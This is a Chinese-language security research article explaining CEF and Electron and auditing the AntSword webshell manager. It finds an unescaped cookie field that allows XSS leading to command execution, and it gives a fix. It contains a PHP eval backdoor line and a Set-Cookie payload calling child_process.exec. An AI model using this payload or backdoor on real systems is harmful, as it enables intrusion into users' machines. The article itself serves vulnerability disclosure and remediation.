什么是嵌入式浏览器:

简单理解,嵌入式浏览器框架就是嵌入在客户端软件中的浏览器控件,浏览器与宿主程序是隔离的,通过浏览器控件的丰富接口可以使浏览器与宿主程序进行交互实现丰富的功能。

说简单点就是用前端技术开发客户端界面

常见的嵌入式浏览器框架:

  1. CEF
  2. Electron
  3. QTwebkit
  4. node_webkit
  5. WebBrowser

从市场占有率来看,CEFElectron 两款占有率都很高,当然CEF占有率世界第一!!!

如何区分两款嵌入式框架?

我们可以看下CEF框架开发的都有些什么特征,以微信、蓝信、有道云、蚁剑来进行举列子

有道云:

01.png

蓝信:

02.png

网易云:

03.png

蚁剑:

04.png

Electron官网:

05.png

electron框架打包:

clipboard.png

从上面可以得出如果源码下带有libcef.dll的均为cef框架开发,如果源码下具有package.json均为electron

package.json参数详解:

以下标注出来的为核心选项,其余的可以在electron或node中查询到

{
  "name": "antsword", //程序名称
  "version": "2.1.8.1", //版本
  "description": "中国蚁剑是一款跨平台的开源网站管理工具", //说明
  "main": "app.js", //程序入口
  "dependencies": { //扩展
    "crypto-js": "^3.1.9-1",
    "extract-zip": "^1.6.7",
    "geoips": "0.0.1",
    "iconv-lite": "^0.4.23",
    "jschardet": "^1.6.0",
    "marked": "^0.6.2",
    "nedb": "^1.5.1",
    "node-rsa": "^1.0.5",
    "superagent": "^3.8.3",
    "superagent-proxy": "^1.0.3",
    "tar": "^4.4.6",
    "through": "^2.3.8"
  },
  "scripts": {
    "start": "AntSword app.js",
    "build": "npm start"
  },
  "author": "antoor <u@uyu.us>", //开发人员
  "license": "MIT",
  "repository": {
    "type": "git",
    "url": "https://github.com/AntSwordProject/AntSword"
  },
  "update": {
    "md5": "",
    "logs": "",
    "sources": {
      "github": "https://github.com/AntSwordProject/antSword/releases/latest"
    }
  },
  "bugs": {
    "url": "https://github.com/AntSwordProject/AntSword/issues"
  },
  "homepage": "https://github.com/AntSwordProject/AntSword/"
}

协议注册:

在Electron程序中,可以自己定义方法,就比如http、https之类的,官方文档中protocol API用来实现协议注册:

https://www.electronjs.org/docs/api/protocol#protocolregisterschemesasprivilegedcustomschemes

以蚁剑为例子,来看看他实现了哪些协议:

在程序开始就注册了以下几种协议:

protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']);

当然注册完协议后还需要指定目录:

  [
    [
      'static', '/static/', 13
    ],
    [
      'views', '/views/', 12
    ], //- 通过访问访问ant-views来访问views 文件
    ['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件
  ].map((_) => {
    protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => {
      if (req.url.endsWith('/')) {
        req.url = req
          .url
          .substr(0, req.url.length - 1);
      }
      cb({
        path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2])))
      });
    });
  });

上面的代码就是将ant-static、ant-views、ant-src这三个自定义协议分别重定向到根目录中的static、views、source目录:

07.png

加载主界面:

在electron框架中加载主界面的需要先创建一个浏览器对象,然后将页面载入进浏览器对象:

  let mainWindow = new BrowserWindow({ //初始化浏览器对象
    width: 1040,
    height: 699,
    minWidth: 888,
    minHeight: 555,
    title: 'AntSword',
    webPreferences: {
      webgl: false,
      javascript: true,
      nodeIntegration: true, // 开启 nodejs 支持
      // contextIsolation: false, // 关闭上下文隔离 webSecurity: false,
      // allowRunningInsecureContent: true, sandbox: false,
    }
  });

  // 加载views
  mainWindow.loadURL('ant-views://front/index.html'); // 加载页面

上面有一个元素叫nodeIntegration非常重要,因为开启了它才能加载node中的模块,如果此元素为false则需要使用他定义的js函数进行代码执行。

开始漏洞挖掘:

在挖掘漏洞之前,需要考虑两个事情:

  1. 核心模块位置在哪?
  2. 是否能进行远程交互?

首先解决第一个问题,核心模块位置,这个在蚁剑入口点已经告诉我们了:

// 初始化模块
  [
    'menubar',
    'request',
    'database',
    'cache',
    'update',
    'plugStore'
  ].map((_) => {
    new(require(`./modules/${_}`))(electron, app, mainWindow);
  });

在modules目录中,是否能进行远程交互这个是我们目前没有办法控制的。

嵌入式浏览器代码执行流程分析:

传统的JS代码(chrome公司的V8引擎)能否对你电脑的文件进行操作?是没办法的,所以我们需要借助外部力量来执行代码了。electron是基于node.js来开发的,而node.js是可以操作文件,甚至可以执行命令的。所以前面提到的nodeIntegration属性的作用就凸显出来了,没有它的话,我们想要执行代码需要走很多的弯路,但是如果开启了nodeIntegration属性,就可以直接调用nodejs库来进行代码执行了。

既然是基于nodejs的,那么就必定是以JS进行驱动的。在渗透测试中,我们想要对一个页面进行修改或者操作就需要有一个XSS漏洞,嵌入式浏览器也是同理。

根据软件功能分析:

首先通过软件的功能我们可以知道蚁剑是一个webshell管理程序,那么他和远程通讯的地方也就固定死了。需要我们从被控端传回数据,然后呈现到用户面前,那些是服务端可控的?

08.png

无非就是上面那几个模块,有了思路我们就只需要对上面那几个模块所在的JS进行审计了。

通过功能JS以及其他的一些文件,和调试输出信息得到了上图中几个功能的具体实现目录:

app.js Line 64:

mainWindow.loadURL('ant-views://front/index.html');

front/index.html Line 10:

  <script src="ant-src://load.entry.js"></script>

load.entry.js Line 154:

require('app.entry');

app.entry.js Line 315:

['shellmanager', 'settings', 'plugin', 'database', 'terminal', 'viewsite', 'filemanager'].map((_) => {
  antSword['module'][_] = require(`./modules/${_}/`);
})

09.png

过滤函数:

通过分析得知具有以下两个函数:

noxss:

这个函数是用来过滤服务端回传数据中的危险字符:

  noxss: (html = '', wrap = true) => {
    let _html = String(html)
      .replace(/&/g, "&amp;")
      .replace(/'/g, "&apos;")
      .replace(/>/g, "&gt;")
      .replace(/</g, "&lt;")
      .replace(/"/g, "&quot;");
    if (wrap) {
      _html = _html.replace(/\n/g, '<br/>');
    }
    return _html;
  }
unxss:

将被实体化的字符转化回危险字符。

  unxss: (html = '', wrap = true) => {
    let _html = String(html)
      .replace(/&apos;/g, "'")
      .replace(/&gt;/g, ">")
      .replace(/&lt;/g, "<")
      .replace(/&quot;/g, '"')
      .replace(/&amp;/g, "&");
    if (wrap) {
      _html = _html.replace(/<br\/>/g, '\n'); // 只替换 noxss 转义过的
    }
    return _html;
  },

一个XSS漏洞到RCE的流程:

sourcemodulesviewsiteindex.js

  _refreshCookie() {
    CookieMgr
      .get({
        url: this.opts['url']
      })
      .then((cookie) => {
        let data = [];
        cookie.map((c, i) => {
          data.push({
            id: i + 1,
            data: [
              c.name, c.value, c.domain, c.path, c.session ?
              'Session' :
              new Date(c.expirationDate).toUTCString(),
              c.name.length + c.value.length,
              c.httpOnly ?
              'httpOnly' :
              '',
              c.secure ?
              'Secure' :
              ''
            ]
          });
        });
        // 刷新UI
        this
          .grid
          .clearAll();
        this
          .grid
          .parse({
            'rows': data
          }, 'json');
      })
  }
  1. 请求当前shell的url:
.get({
        url: this.opts['url']
      })
  1. 将取得的结果传入到匿名函数中:
then((cookie) => {
    ......
}
  1. 从服务器获取到数据并且未调用noxss进入parse函数:
  _refreshCookie() {
        .......
          data.push({
            id: i + 1,
            data: [
              c.name, c.value, c.domain, c.path, c.session ?
              'Session' :
              new Date(c.expirationDate).toUTCString(),
              c.name.length + c.value.length,
              c.httpOnly ?
              'httpOnly' :
              '',
              c.secure ?
              'Secure' :
              ''
            ]
          });
        });
        // 刷新UI
        this
          .grid
          .clearAll();
        this
          .grid
          .parse({
            'rows': data
          }, 'json');
      })
  }

构造payload

因为目标开启了nodeIntegration所以可以直接使用nodejs的库:

require('child_process').exec('calc.exe')

植入代码:

假设o.php为黑客所留的后门:

<?php
eval(''.$_POST['s']);
?>

因为蚁剑是获取cookie所以需要调用header函数:

<?php

eval(''.$_POST['s']);

header("set-cookie:aaa=<img src=1 onerror=require('child_process').exec('calc.exe')>");
?>

10.png

使用浏览网站功能:

11.png

浏览网站:

12.png

成功注入JS代码并执行命令。

13.png

修复方案:

  _refreshCookie() {
        .......
          data.push({
            id: i + 1,
            data: [
              antSword.noxss(c.name), antSword.noxss(c.value), antSword.noxss(c.domain), antSword.noxss(c.path), antSword.noxss(c.session) ?
              'Session' :
              new Date(c.expirationDate).toUTCString(),
              c.name.length + c.value.length,
              c.httpOnly ?
              'httpOnly' :
              '',
              c.secure ?
              'Secure' :
              ''
            ]
          });
        });
        // 刷新UI
        this
          .grid
          .clearAll();
        this
          .grid
          .parse({
            'rows': data
          }, 'json');
      })
  }

另一个案例:

http://www.f4ckweb.top/index.php/archives/54/

参考文档:

https://developer.aliyun.com/article/594227

https://www.electronjs.org/docs/api

https://www.anquanke.com/post/id/194854

https://www.jianshu.com/p/b3a778262ee8